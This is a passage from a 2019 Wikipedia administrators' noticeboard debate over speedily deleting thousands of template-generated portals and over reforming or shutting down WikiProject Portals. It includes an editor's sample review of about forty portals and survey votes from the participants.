:::::I am pleased to report that a recent module change should eliminate the problem where articles too short to be worth featuring occasionally appear as "Read more... Read more...". This should fix the mystery portal depicted above next time it is purged. [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 11:26, 22 March 2019 (UTC)
:::[[User:Thryduulf]] your opposition to X3 is baffling. You oppose it basically because some topics where Portals were mass created using automated tools against policy may warrant portals. But none of these pages have any original content to preserve. They are mindless spam poorly repackaging existing content. Kind of a poor Wikipedia mirror effort. MFDing these has proven they are unwelcome - yet you want to force us to spend a week debating pages that the creator spent seconds to create without even checking for compliance against their own criteria or for major errors? If these deletions were actually controversial (the only one of the 4 CSD criteria you say is not followed) we would expect a significant number of the MfDs to close Keep. We might expect the creator to defend and explain, but instead the creator freely admits he ignored [[WP:POG]]. Seriously makes me doubt your competence and judgement. Admins should show better judgement then this. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 17:12, 21 March 2019 (UTC)
::::{{replyto|Legacypac}} Assuming you mean X3, then I have explained every single one of my reasons several times and you have either not listened or not understood on every single one of those occasions so I Will not waste even more of my time explaining them again. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 17:16, 21 March 2019 (UTC)
:::Second {{u|Legacypac}}. Additionally, part of what I meant by "some might be worth keeping" is that they can be deleted, but if any were actually worthy they could be recreated, perhaps with more care and effort than this. [[User:SemiHypercube|<b style="color:#090">Semi</b>]][[User talk:SemiHypercube|<i style="color:#099">Hyper</i>]][[Special:Contributions/SemiHypercube|<u style="color:#009">cube</u>]] 17:19, 21 March 2019 (UTC)
:* It seems like a lot of what is objected to can be covered by a judicious use of P2, G1, and A3 (via P1) but there's probably something I'm missing. {{yo|Fram}}, I'm not here to support bad content, but bad policy (and precedent) can be far more harmful to the project than 'repackaged nonsense' existing for a bit longer than some people want it to. This would have the side effect of saving the portals worth saving. [[User: Crazynas|Crazynas]]<sup> [[User_talk:Crazynas|t]]</sup> 22:07, 21 March 2019 (UTC)
*'''Oppose''' let's discuss deletion based on content and merit of individual portals. No need to throw the baby out with the bath water, this is not how we do things here. You're proposing deletion of many very good portals here. [[User:Ɱ|<span style="text-shadow:#bbb 0.1em 0.1em 0.1em;" class="texhtml">'''ɱ'''</span>]] [[User talk:Ɱ|(talk)]] 15:41, 21 March 2019 (UTC)
::Please identify 35 out of the 3500 (1%) that are "very good portals" so we can run them through MFD to test your statement. Also there is no baby - there is no original content at all. No work done by humans is lost with X3 deletions because they were created using an automated script that was used without BAG approval to repackage existing content. Therefore [[WP:PRESERVE]] is not an issue. If someone started creating thousands of articles called "Foo lite" that just copied Foo mindlessly we would CSD them without debate. These are just in another mainspace but they are really Foo lite. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 17:12, 21 March 2019 (UTC)
:::Except that's not comparable at all. The ''point'' of portals (which the community has repeatedly endorsed) is to duplicate article content and provide links to related content - which is exactly what these portals are doing. They might be doing it poorly in many cases, but that's qualitatively different to one article duplicating another. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 18:10, 21 March 2019 (UTC)
::::Wouldn't it be faster to delete them all and then recreate the ones that need recreating, rather than go through them one by one to see which to keep? Because the number of "keeps" is like 5% or 10% and not 50%? (It would have to be 50% to be equal time between the two approaches.) If you're not convinced that it's 5-10% keep and not 50% keep, what sort of representative sampling process can we engage in to test the theory? [[User:Levivich|Leviv]] <span style="display:inline-block;transform:rotate(45deg);position:relative;bottom:-.57em;">[[User talk:Levivich|ich]]</span> 19:13, 21 March 2019 (UTC)
:::::Yes it would be faster, but [[WP:DEADLINE|there is no deadline]] so it is very significantly more important to get it right than it is to do it quickly. Deleting something that doesn't need deleting is one of the most harmful things that an administrator can do - and speedily deleting it is an order of magnitude more so. As only administrators can see pages once they have been deleted, and doing so is much harder, deleting it first makes the job of finding the good portals very significantly harder. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 21:30, 21 March 2019 (UTC)
::::::Timing matters because this issue is being discussed in several forums at once. If the first debate to close decides to delete, the portals may be gone by the time another discussion reaches a consensus to keep them. [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 21:48, 21 March 2019 (UTC)
*'''Comment'''I listed The Transhumanist's portal creations, latest first, and examined the top entry on each page, i.e. every 100th portal.
{{cot|Assessment of a sample of TTH's recent creations}}
#[[Portal:Polar exploration]] – decent appearance; no obvious errors. 50 excerpts with more links at the bottom. Four other images, plus plenty more in the 50 leads. Manual input: refining the search criteria for Did You Know and In the News (DYK+ITN).
#[[Portal:Nick Jr.]] – Lua error: No images found. (To be fair, there may have been images before a recently requested module change to suppress images without captions.) 13 excerpts. No manual input: the wikitext matches that generated by {{tl|bpsp6}}.
#[[Portal:Alternative metal]] – decent appearance; no obvious errors but a narrow scope. 11 excerpts; one other image. Manual input: refining DYK+ITN.
#[[Portal:Modulation]] – decent but minimal portal with no obvious errors. 30 excerpts; four other images. Several manual improvements.
#[[Portal:Spanish Civil War]] – potentially good portal but with a couple of display errors which look fixable. 30 excerpts; 20 other images. Manual input: routine maintenance, probably of a routine technical nature rather than creative.
#[[Portal:Carl Jung]] – decent appearance; no obvious errors. 40+ excerpts; six other images. Routine maintenance.
#[[Portal:Reba McEntire]] – decent appearance; no obvious errors but a narrow scope. 40+ other excerpts; six images. Routine maintenance.
#[[Portal:Romantic music]] – decent appearance; no obvious errors. 40+ excerpts; two other images. Routine maintenance.
#[[Portal:Anton Chekhov]] – decent appearance; no obvious errors. 36 excerpts; 17 other images. Routine maintenance.
#[[Portal:Media manipulation]] – decent appearance; no obvious errors but a narrow scope. 40+ excerpts; no image section. Routine maintenance.
#[[Portal:Desalination]] – decent appearance; no obvious errors but a narrow scope. 15 excerpts; six other images. Manual input: refining DYK+ITN.
#[[Portal:Abuse]] – This portal has display errors which make it hard to evaluate properly. It's had plenty of manual input, possibly in attempts to fix it.
#[[Portal:Emmy Awards]] – decent appearance; <strike>one minor display error which looks fixable.</strike><small>(fixed)</small> 50 excerpts; two other images. Routine maintenance.
#[[Portal:Shanghai cuisine]] – decent appearance; no obvious errors but a narrow scope. 19 excerpts; four other images. Routine maintenance.
#[[Portal:Saab Automobile]] – decent appearance; no obvious errors but a narrow scope. 40+ excerpts; 14 other images. Routine maintenance.
#[[Portal:High-speed rail]] – decent appearance; <strike>one minor display error which looks fixable.</strike><small>(fixed)</small> 40+ excerpts; 30+ other images. Routine maintenance.
#[[Portal:Tetris]] – decent appearance; no obvious errors but a narrow scope. 30+ excerpts; two other images. Routine maintenance.
#[[Portal:Azores]] – decent appearance; no obvious errors but a narrow scope. 20 excerpts; 18 other images. Some manual improvements.
#[[Portal:Musical instruments]] – decent appearance; no obvious errors. 40+ excerpts; 13 other images. Routine maintenance.
#[[Portal:Hidalgo (state)]] – decent appearance; no obvious errors but a narrow scope. 11 excerpts; 16 other images. Routine maintenance.
#[[Portal:Sporting Kansas City]] – decent appearance; <strike>one minor display error which looks fixable;</strike><small>(fixed)</small> narrow scope. 11 excerpts; 7 other images. Routine maintenance.
#[[Portal:Piciformes]] – decent appearance; no obvious errors but a narrow scope. 9 excerpts; one other image. Routine maintenance.
#[[Portal:Birds-of-paradise]] – decent appearance; no obvious errors. 50 excerpts; five other images. Some manual improvements. Currently at [[Wikipedia:Miscellany for deletion/Portal:Woodpeckers|MfD]] with the rationale that woodpeckers are not a family.
#[[Portal:Coffee production]] – decent appearance; no obvious errors but a narrow scope. 40+ excerpts; 11 other images. Routine maintenance.
#[[Portal:Albanian diaspora]] – decent appearance; no obvious errors but a narrow scope. 30+ excerpts; three other images. Routine maintenance.
#[[Portal:University of Nebraska–Lincoln]] – decent appearance; no obvious errors but a narrow scope. 18 excerpts; eight other images. Routine maintenance. Currently at [[Wikipedia:Miscellany for deletion/Portal:University of Arkansas at Pine Bluff|MfD]] with the rationale that [[Portal:University of Arkansas at Pine Bluff]] contains only two articles.
#[[Portal:University of Gothenburg]] – decent appearance; no obvious errors but a narrow scope. 10 excerpts; two other images. Routine maintenance.
#[[Portal:Transformers]] – decent appearance; no obvious errors but a narrow scope. 40+ excerpts; two other images (everything else is non-free). Some manual improvements.
#[[Portal:Boston Celtics]] – decent appearance; no obvious errors but a narrow scope. 40+ excerpts; 16 other images. Routine maintenance.
#[[Portal:Newbury Park, California]] – decent appearance; no obvious errors but a narrow scope. 16 excerpts; 34 other images. Routine maintenance.
#[[Portal:Vanessa Williams]] – decent appearance; no obvious errors but a narrow scope. 30+ excerpts; two other images. Routine maintenance.
#[[Portal:Bette Midler]] – decent appearance; no obvious errors but a narrow scope. 40 excerpts; seven other images. Routine maintenance.
#[[Portal:Ozzy Osbourne]] – generally decent appearance <strike>but several minor display errors;</strike><small>(fixed)</small> narrow scope. 50 excerpts; 17 other images. Routine maintenance.
#[[Portal:Carnegie Mellon University]] – decent appearance; no obvious errors but a narrow scope. 15 excerpts; 28 other images. Routine maintenance.
#[[Portal:Milwaukee]] – decent appearance; no obvious errors. 15 excerpts; 47 other images. Some manual improvements. Too few excerpts but potentially good.
#[[Portal:Billings, Montana]] – decent appearance; no obvious errors but a narrow scope. Four excerpts; 27 other images. Some manual improvements.
#[[Portal:Empire of Japan]] – decent appearance; no obvious errors but a narrow scope. 40+ excerpts; 20 other images but with a couple of repeats. Routine maintenance.
#[[Portal:Cheese]] – decent appearance; no obvious errors. Nine excerpts; 50+ other images. Extensive manual improvements. Too few excerpts but potentially good.
{{cob}}
:It appears that most of the portals have a narrow scope and should go but a significant minority are either already of a good enough standard to keep or show sufficient potential to merit further attention. This impression is based not on cherry-picking but on a random sample. [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 21:42, 21 March 2019 (UTC)
::Thank you for this, this is a very good illustration of why this proposal is too broad - it will delete portals that clearly should not be deleted, and others that may or may not need to be deleted (e.g. I've !voted to merge several of the portals about universities). [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 21:58, 21 March 2019 (UTC)
* '''Query''' Why don't we have a CSD for pages created by unauthorized scripts or bots? [[WP:BAG]] exists for a reason right? (And this seems to be a good example of it). [[User: Crazynas|Crazynas]]<sup> [[User_talk:Crazynas|t]]</sup> 21:50, 21 March 2019 (UTC)
**{{replyto|Crazynas}} because not all of them should be deleted, as [[user:|Certes]] analysis immediately above demonstrates perfectly. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 21:58, 21 March 2019 (UTC)
::: {{yo|Thryduulf}} You're missing my point. Just like we have a policy that banned users are to be reverted ''in all cases'' not because they might not make good edits (to game the system or not) but because they are a disruption to the community; so we should have a policy that pages created (or edited I suppose) by unauthorized bots are inherently not welcome, ''because'' of the potential for disruption ''regardless of their merit'' (by disruption I'm talking about this AN thread as much as the pages themselves). This is the whole reason we have a group dedicated to overseeing and helping with bots right? [[User: Crazynas|Crazynas]]<sup> [[User_talk:Crazynas|t]]</sup> 22:12, 21 March 2019 (UTC)
::::No bots were involved. The pages were created using a template. One of your last page creations was a user talk page, where you welcomed a new editor using Twinkle. You did a very professional job, by applying a template which introduces the new editor with the sort of carefully considered and neatly arranged prose that we don't have time to write every time a new contributor appears. Using a template is not a valid rationale for mass deletions. [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 22:22, 21 March 2019 (UTC)
::::: Curious, what template did you use? I guess the difference I see is the twinkle is highly curated and subject to extensive review (as are the templates it calls). If all these pages were manually created, then what happened in the example of (what to me looks pretty much like G1) that Fram posted above? Why didn't the human that pressed the button take responsibility for that (so to speak) pile of rubbish? To clarify, ''Bot'' here covers scripts, AWB (which is 'manual'), java implementations etc. In short: "Bot policy covers the operation of all bots and automated scripts used to provide automation of Wikipedia edits, whether completely automated, higher speed, or simply assisting human editors in their own work." The policy '''explicitly''' references mass page creation as being under the purview of BAG [[Wikipedia:Bot_policy#Mass_page_creation|here]]. [[User: Crazynas|Crazynas]]<sup> [[User_talk:Crazynas|t]]</sup> 22:39, 21 March 2019 (UTC)
::::::I haven't used any of these templates myself but recent portals have been created by variants on {{tl|Basic portal start page}}. The numbered versions such as {{tl|bpsp6}} cater for portal-specific conditions such as there being no DYKs to feature. [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 23:07, 21 March 2019 (UTC)
:::: {{replyto|Crazynas}} I was simply answering your question about why we do not speedy delete every page created by an unauthorised bot, etc - simply because not every page created by such means should be deleted. You are also mistaken about banned users - they ''may'' be reverted but they are not required to be. Certes analysis shows that some of the portals created by the script have been improved since, sometimes significantly. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 22:46, 21 March 2019 (UTC)
::::: {{yo|Thryduulf}} Sure, and this is tangential to the proposal here (which I'm still opposing, if you noticed). In any case the thought I'm having wouldn't be applied ex post facto but it ''would'' make it explicitly clear that mass creation of pages by automated or semi-automated means without prior approval is disruptive. [[User: Crazynas|Crazynas]]<sup> [[User_talk:Crazynas|t]]</sup> 23:02, 21 March 2019 (UTC)
*'''Comment'''. The problem with many of these recently created template-based portals is that it is difficult or impossible to improve them. I've edited portals for over a decade but cannot work out how to change the portal code to include or exclude a particular article or image. (For articles I believe one has to change the template or mark the article as stub to exclude it; for images I believe it just harvests those from the main topic article.) Thus they are not drafts that could be further improved, they are static uneditable entities for which the only solution is to start from scratch. There is no thought to be preserved that is not equally present in the list of articles in the template/images in the root article. [[User:Espresso Addict|Espresso Addict]] <small>([[User talk:Espresso Addict|talk]])</small> 02:12, 22 March 2019 (UTC)
*The key issue is that traditionally, portals are viewed as entry points to broad topic areas. However a page generated by the helper templates that draw content from an underlying navigation box is more akin to a [[second screen]] experience: it provides an X-ray view into the navigation box. It's not clear this is the experience the community wants to provide for readers visiting something labelled a portal. [[User:Isaacl|isaacl]] ([[User talk:Isaacl|talk]]) 20:47, 24 March 2019 (UTC)
* the automated scripts are so easy to fool. Even if everything looks perfect when the portal is set up, as soon as someone adds an new link to a nav box (that may make sense in the nav box but not for the portal), adds an image to a page, or creates a DYK completely unrelated to the topic which includes the five letters "horse" within someone's name behind a pipe, you get random inappropriate stuff in an automated portal. The editor adjusting the nav box, adding a picture without a caption per [[WP:CAPTIONOBVIOUS]] or creating the DYK has no idea the portal is being busted. There is no edit to the portal to review so watch listing the portal does not help. You have to manually review the portal display regularly. That is before looking at lua errors. Autogenerated content is a bad idea. Forcing other editors to review your auto generated crap is wrong. Ignoring the guidelines because they are "outdated" and leaving 4500 pages that need to be checked and discussed against the guidelines by other editors is wrong. The only reasonable solution is to nuke these from orbit. Then if someone willing to follow the guidelines and use intellgently designed and applied tools want to recreate some titles, that is fine. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 21:23, 24 March 2019 (UTC)
**Everything you say before "The only reasonable solution..." may be true but is irrelevant to this proposal as written. "Nuking them from orbit" is not the only reasonable solution, as fixing the issues so that the portals don't break is also reasonable. As is not deleting the ones that have been fixed so that the errors you talk about don't occur. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 00:46, 25 March 2019 (UTC)
**:{{tq2|Portal creation ... is down to about a minute per portal. The creation part, which is automated, takes about 10 seconds. The other 50 seconds is taken up by manual activities, such as finding candidate subjects, inspecting generated portals, and selecting the portal creation template to be used according to the resources available. Tools are under development to automate these activities as much as possible, to pare portal creation time down even more. Ten seconds each is the goal.|source=[[Wikipedia:WikiProject Portals/Newsletter archive#Wikipedia:WikiProject Portals update #029, 13 Feb 2019|Portal Update #29, 13 Feb 2019]]}} Someone spent less than 50 seconds creating the page; requiring editors to spend more time than that to delete it has an extortionate effect, even though there's a good faith intent. If we don't nuke from orbit, then those who want these automatically-created portals deleted will be forced to spend far, far more than 50 seconds per portal discussing them one by one (or ten by ten, or one hundred by one hundred, it'll still be a lot of time). 50 seconds "taken up by manual activities" is how we end up with a [[Portal:Sexual fetishism]] that includes [[Pedophilia]] as one of the selected articles–probably not the best selection–but that's been there for five months now. [[User:Levivich|Leviv]] <span style="display:inline-block;transform:rotate(45deg);position:relative;bottom:-.57em;">[[User talk:Levivich|ich]]</span> 03:04, 25 March 2019 (UTC)
***:Two wrongs do not make a right and there is no deadline. The only reason for deleting them all you seem to have is that you don't like that these portals were created so quickly, and that some of them are bad. That's fine, you are entitled to your opinion and some of them are bad. However that does not equate to a reason to delete all of them without checking whether they are good or bad. If you have problems with specific portals then they should be fixed and/or nominated for deletion, as I see you have done in this case, but just because X is bad doesn't mean that the entire set of pages of which is a part should be speedily deleted. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 09:35, 25 March 2019 (UTC)
****:"There is no deadline" is a complete non-argument. There is no deadline to ''have'' these portals either. Knowingly advocating for keeping problematic portals around until someone not only notices it but also decides to MfD it is exposing readers to shitty, thoughtless reproductions of content for no actual benefit (the benefits" of these portals are addressed dequately by the navigation templates they are based on) and with the risk of showing them all kinds of errors which gives a very poor impression. Luckily very few people get actually exposed to these pages, but this also means that the very hypothetical damage deleting some of these pages would do is extremely minimal. [[User:Fram|Fram]] ([[User talk:Fram|talk]]) 10:09, 25 March 2019 (UTC)
*****:There was indeed no deadline for their creation, now they have been created that is irrelevant. If we follow your logic though we should delete every article and then just recreate the ones that admins vet as meeting an undefined standard. Yes, deleting more slowly does increase the risk that some readers will see errors, but thtat's exactly what happens in every other namespace without a problem. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 16:35, 27 March 2019 (UTC)
******:No, that's not my logic. Your use of "no deadline" when it suits you, and the dismissal when it doesn't, is quite clear though. Deleting articles is losing content, deleting these auto-portals is losing nothing. Furthermore, we have in the past speedy deleted large groups of articles by one or two creators once it became clear that too many contained errors. This has been done with thousands of articles by Dr. Blofeld, with thousands by Jaguar, and with thousands by Sander v. Ginkel (the last ones moved to draft and then deleted afterwards). Once we know that with one group of creations by one editor, there are many problems, we had no qualms in the past to speedy delete them. That didn't mean that they can't be recreated, or that admins will first vet them, no idea where you get those ideas. Please don't make a caricature of what I support here, and please don't make absolute statements which don't match reality. [[User:Fram|Fram]] ([[User talk:Fram|talk]]) 17:41, 27 March 2019 (UTC)
*'''Oppose''' 1) Let's not create precedents where we hand single admins editorial control, admins may well be great editors (some better than others), but let's keep editorial control as much as possible only with all editors. 2) The formulation of this supposed CSD criteria seems to be a [[WP:PUNISH]] against a single user. (As an aside, different perspective: there are perhaps millions of pages in article space that are "poor", so portal space is bound to have them, too - just work through it -- and if we come-up with new forward looking policies and guidelines for all portals (or mass creations) consistent as possible with the 5 P, all the better). [[User:Alanscottwalker|Alanscottwalker]] ([[User talk:Alanscottwalker|talk]]) 17:42, 25 March 2019 (UTC)
*'''Support''' - per Fish & Karate. [[User:Ealdgyth|Ealdgyth]] - [[User talk:Ealdgyth|Talk]] 16:08, 27 March 2019 (UTC)
*'''Oppose'''. I feel there are much better ways of handling the situation, including but not limited to: expanding P2, Portal PROD, and even MFD. This is too broad of a sword that doesn't even cut in the right places since it's only limited to one user in a given time frame. --[[User:Tavix| <span style="color:#000080; font-family:georgia">'''T'''avix</span>]] <sup>([[User talk:Tavix|<span style="color:#000080; font-family:georgia">talk</span>]])</sup> 16:15, 27 March 2019 (UTC)
*Thought I had voted here but I guess I hadn’t. Regardless, my thinking on this has changed because of Certes’ in-depth analysis of TTH’s portal creations. Anyway: '''Oppose'''. The mass creation of portals is something that should be dealt with preferably quickly, but this proposal as written is not the right way to do it. Sure, there are a lot of crappy portals that could be deleted fairly uncontroversially, but there are also a lot of good portals as well as edge cases that deserve more community discussion on whether they should be deleted, or at least a longer waiting period so users may object. —[[User:pythoncoder|<span style="border-radius:10px;background:blue"><span style="color:aqua"> python</span><span style="color:#ff0">coder </span></span>]] ([[User talk:pythoncoder|talk]] | [[Special:Contribs/pythoncoder|contribs]]) 12:40, 29 March 2019 (UTC)
*<s>'''Oppose''' for now. I still hope that the proposal might become limited to portals looked at and determined to be poor by some objective criteria, which I could support, but that hasn't yet happened. Speedy ''ad hominem'' deletion regardless of subsequent tuning, current quality or even potential for future improvement is likely to throw too many babies out with the bathwater. [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 12:46, 29 March 2019 (UTC)</s> <small>Duplicate !vote stricken. [[User:GoldenRing|GoldenRing]] ([[User talk:GoldenRing|talk]]) 10:14, 4 April 2019 (UTC)</small>
*'''Regretfully support''': as an editor I dislike the idea of creations made by certain users being deleted ''en masse'' but, quite frankly, MfD cannot cope with the influx at the moment. Hell, I've got a decent laptop and MfD is getting so big scrolling down causes a bit of lag. '''<span style="font-family: Arial">[[User:StraussInTheHouse|<span style="color: red">SITH</span>]] [[User talk:StraussInTheHouse|<span style="color: blue">(talk)</span>]]</span>''' 20:57, 30 March 2019 (UTC)
*'''Strong support''' of something to this effect, per [[WP:MASSCREATION]] and [[WP:TNT]] (i.e., the babies thrown out with the bathwater can be recovered later). However, opponents raise good points of localizing control to a [[WP:TINC|few members]], and while I do argue that '''portals are not content, they are a navigational tool''', so community control of them can be a bit "stricter" than mainspace articles, perhaps something like PROD would be better. Regardless of how this pans out, for future portals going forward I proposed Portals for Creation at RfC, and created a mockup [[User:John M Wolfson/Portals for Creation|here]] if anyone wants a look. <!-- Template:Unsigned --><small class="autosigned">— Preceding [[Wikipedia:Signatures|unsigned]] comment added by [[User:John M Wolfson|John M Wolfson]] ([[User talk:John M Wolfson#top|talk]] • [[Special:Contributions/John M Wolfson|contribs]]) </small>
*:Why is requiring administrators to comb through deleted portals to find those that should not have been deleted in order to restore them, having inconvenienced those people who use the portals in the mean time, in any way better for the project than deleting only those that need to be deleted? [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 07:34, 4 April 2019 (UTC)
*'''Support'''. Worthless pages which take 12 seconds to create shouldn't take more than 50000 times that for multiple users to delete. If a subject WikiProject or person interested in the portal's subject is willing to "adopt" that portal, or even assert that the portal is not useless, a more nuanced consideration may apply. And, I should point out, some of the individual deletions are incomplete, as user-facing pages (mostly categories and navigation templates, but some actual article pages) still point to the deleted portals. — [[User:Arthur Rubin|Arthur Rubin]] [[User talk:Arthur Rubin|(talk)]] 10:25, 4 April 2019 (UTC)
{{abot}}
===Proposal 5: Shut down or reform [[WP:WikiProject Portals|WikiProject Portals]]===
I know, me proposing shutting down a WikiProject I'm in? What am I thinking?
Well, I mainly joined to make sure things would go smoothly after that RfC to delete all portals - clearly it has not. As thus, I think a solution (among the others) would be to '''shut down the WikiProject responsible for many of the bad portal creations'''. Right now it appears all its doing is creating new portals, not maintaining or improving them - which is what a WikiProject is supposed to do.
However, a less extreme solution would be to '''reform the project''' to actually maintain and improve the portals it creates, and creates portals sparingly. I'm fairly certain a task force making sure portals meet standards would be beneficial to the issue, and also making it clear that not everything needs a portal.
I'm going for the latter option to reform - however, I'm going to leave the shutdown option up in the air in case people find good reason for it to be considered.
'''Addendum 13:48, 15 March 2019 (UTC)''' - Since I forgot to clarify ({{selftrout}}) here's two examples of reforms I could see being useful:
*A quality scale for portals, like we use for articles - this could help with knowing which portals are good and which ones need improvement
*Dividing the Project into task forces to make sure necessary tasks for the maintenance of portals are completed, as right now they clearly are not
:*Sub-reform for this would be to make a task force that deletes bad portals that don't meet quality standards and are not needed
Hopefully this can help clarify this proposal somewhat - if none of these can be done reasonably (which I doubt they can't) the shutdown option should be considered.
<span style="color:#FFB3FF;">Kirbanzo</span> <sup>([[User:Kirbanzo|userpage]] - [[User talk:Kirbanzo|talk]] - [[Special:Contributions/Kirbanzo|contribs]])</sup> 23:01, 14 March 2019 (UTC)
====Survey on sub-proposal to shut down WikiProject Portals====
{{atop
| status =
| result = There is a strong [[WP:SNOW]] consensus against shutting down WikiProject Portals. (involved close) —[[User:pythoncoder|<span style="border-radius:10px;background:blue"><span style="color:aqua"> python</span><span style="color:#ff0">coder </span></span>]] ([[User talk:pythoncoder|talk]] | [[Special:Contribs/pythoncoder|contribs]]) 15:39, 20 March 2019 (UTC) {{nac}}
}}
*'''Neutral''' as per above. <span style="color:#FFB3FF;">Kirbanzo</span> <sup>([[User:Kirbanzo|userpage]] - [[User talk:Kirbanzo|talk]] - [[Special:Contributions/Kirbanzo|contribs]])</sup> 23:01, 14 March 2019 (UTC)
*'''Strong oppose''' firstly this is the wrong forum, secondly there is nothing in the nomination that explains why this is needed, or how it will result in an improvement to the encyclopaedia. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 01:04, 15 March 2019 (UTC)
* '''Oppose'''. [[User:Abyssal|Abyssal]] ([[User talk:Abyssal|talk]]) 01:35, 15 March 2019 (UTC)
*'''Support''': might as well. --[[User:K.e.coffman|K.e.coffman]] ([[User talk:K.e.coffman|talk]]) 02:23, 15 March 2019 (UTC)
*'''Oppose'''. There is consensus to keep the portal system but it has many faults, so a focus for improving it seems sensible. [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 14:36, 15 March 2019 (UTC)
*'''Strong oppose'''. Not necessary and not the best way to fix Wikipedia’s portals. —[[User:pythoncoder|<span style="border-radius:10px;background:blue"><span style="color:aqua"> python</span><span style="color:#ff0">coder </span></span>]] ([[User talk:pythoncoder|talk]] | [[Special:Contribs/pythoncoder|contribs]]) 19:49, 15 March 2019 (UTC)
*'''Oppose''' – Would amount to [[Don't throw the baby out with the bathwater|throwing the baby out with the bathwater]]. <span class="smallcaps" style="font-variant:small-caps;">[[User:Northamerica1000|North America]]<sup>[[User talk:Northamerica1000|<span style="font-size: x-small;">1000</span>]]</sup></span> 01:19, 16 March 2019 (UTC)
*'''Oppose''' For the same reasons. — AfroThundr <sup>([[User:AfroThundr3007730|u]] · [[User talk:AfroThundr3007730|t]] · [[Special:Contributions/AfroThundr3007730|c]])</sup> 19:48, 16 March 2019 (UTC)
*'''Oppose''' For the same reasons. [[User:Bermicourt|Bermicourt]] ([[User talk:Bermicourt|talk]]) 22:37, 16 March 2019 (UTC)
*'''Support''' Incompetent project that doesn't want to deal with the crud their members create. [[User:CoolSkittle|<span style="background-color: blue; color: orange">CoolSkittle</span>]] ([[User talk:CoolSkittle|talk]]) 18:07, 17 March 2019 (UTC)
** Invalid rationale. See [[Wikipedia:Arguments to avoid in deletion discussions#Surmountable problems]]. <span style="white-space:nowrap;font-family:'Trebuchet MS'"> — [[User:SMcCandlish|'''SMcCandlish''']] [[User talk:SMcCandlish|☏]] [[Special:Contributions/SMcCandlish|¢]] 😼 </span> 20:58, 17 March 2019 (UTC)
*'''Oppose''' as {{em|ad hominem}} vindictiveness. The only rationale for deleting such a project would be a proper community-wide decision to eliminate all portals. This is not the venue for that; [[WP:VPPOL]] is. And this is not the venue for deletion of a wikiproject; [[WP:MFD]] is. [[WP:Process is important]], most especially in deletion discussions and related matters, because damned near zero people are going to look for such discussions in an admins' "house organ" page like this. Hardly any non-admins watchlist this page or pay any attention at all to what is said here. It is not intended to be a venue for community-wide concerns in the first place, and even with belated addition to [[WP:CENT]], discussing such matters here is a special kind of forum shopping, namely an attempt to appeal to a small cadre of specialist editors whose concerns about maintenance (and cop-like role of "going after" people for alleged behavioral flaws, often with little oversight, especially compared to [[WP:ANI]] process) will colour everything they do and say about the matter. <span style="white-space:nowrap;font-family:'Trebuchet MS'"> — [[User:SMcCandlish|'''SMcCandlish''']] [[User talk:SMcCandlish|☏]] [[Special:Contributions/SMcCandlish|¢]] 😼 </span> 20:58, 17 March 2019 (UTC)
::Widely misleading arguments. This is a widely advertised and widely participated discussion. It came from a VPR discussion, linked from the very beginning. There are far more non-Admins than Admins involved here. Try to stick to facts. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 23:23, 17 March 2019 (UTC)
* '''Support''' [non-admin comment :] opposed to portals, they harvest legitimate contributions yet the creators expect them to be automatically protected as legitimate contributions and outside of normal guidance on creation. There are cadres of users who think this is what wikipedia is about, or at least it is a way of making a big splash without knowing anything but how to tweak code (and then wikilawyer when challenged). [[User talk:Cygnis insignis|cygnis insignis]] 06:10, 18 March 2019 (UTC)
*'''Oppose''' Punishing a whole community for the actions of one person is not reasonable. [[User:Waggers|<b style="color:#98F">W</b><b style="color:#97E">a</b><b style="color:#86D">g</b><b style="color:#75C">ge</b><b style="color:#83C">r</b><b style="color:#728">s</b>]][[User talk:Waggers|<small style="color:#080">''TALK''</small>]] 16:49, 18 March 2019 (UTC)
*'''Oppose''' per above. [[WP:SNOW|It's getting cold out...]] [[User:SemiHypercube|<b style="color:#090">Semi</b>]][[User talk:SemiHypercube|<i style="color:#099">Hyper</i>]][[Special:Contributions/SemiHypercube|<u style="color:#009">cube</u>]] 16:52, 18 March 2019 (UTC)
*'''Oppose''' In the grand scheme of things I'd like to see portals deprecated, but doing so is not where the community is at right now. If there is consensus to keep portals, having a wikiproject to maintain them seems like a good idea. <small>I also feel [[WP:SNOW|cold]]...</small> [[User:Wugapodes|Wugapodes]] [[User talk:Wugapodes|[t<sup>h</sup>ɑk]]] [[Special:Contributions/Wugapodes|[ˈkan.ˌʧɹɪbz]]] 06:47, 19 March 2019 (UTC)
{{abot}}
====Survey on sub-proposal to reform WikiProject Portals====
*'''Support''' as proposer and per above. <span style="color:#FFB3FF;">Kirbanzo</span> <sup>([[User:Kirbanzo|userpage]] - [[User talk:Kirbanzo|talk]] - [[Special:Contributions/Kirbanzo|contribs]])</sup> 23:01, 14 March 2019 (UTC)
*'''Oppose''' as the proposal is in the wrong forum and contains no details of what reform is being suggested, let alone how these reforms would solve the issues identified. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 01:05, 15 March 2019 (UTC)
:*This is related to the discussion as the WikiProject is headed by the user being discussed here. <span style="color:#FFB3FF;">Kirbanzo</span> <sup>([[User:Kirbanzo|userpage]] - [[User talk:Kirbanzo|talk]] - [[Special:Contributions/Kirbanzo|contribs]])</sup> 13:48, 15 March 2019 (UTC)
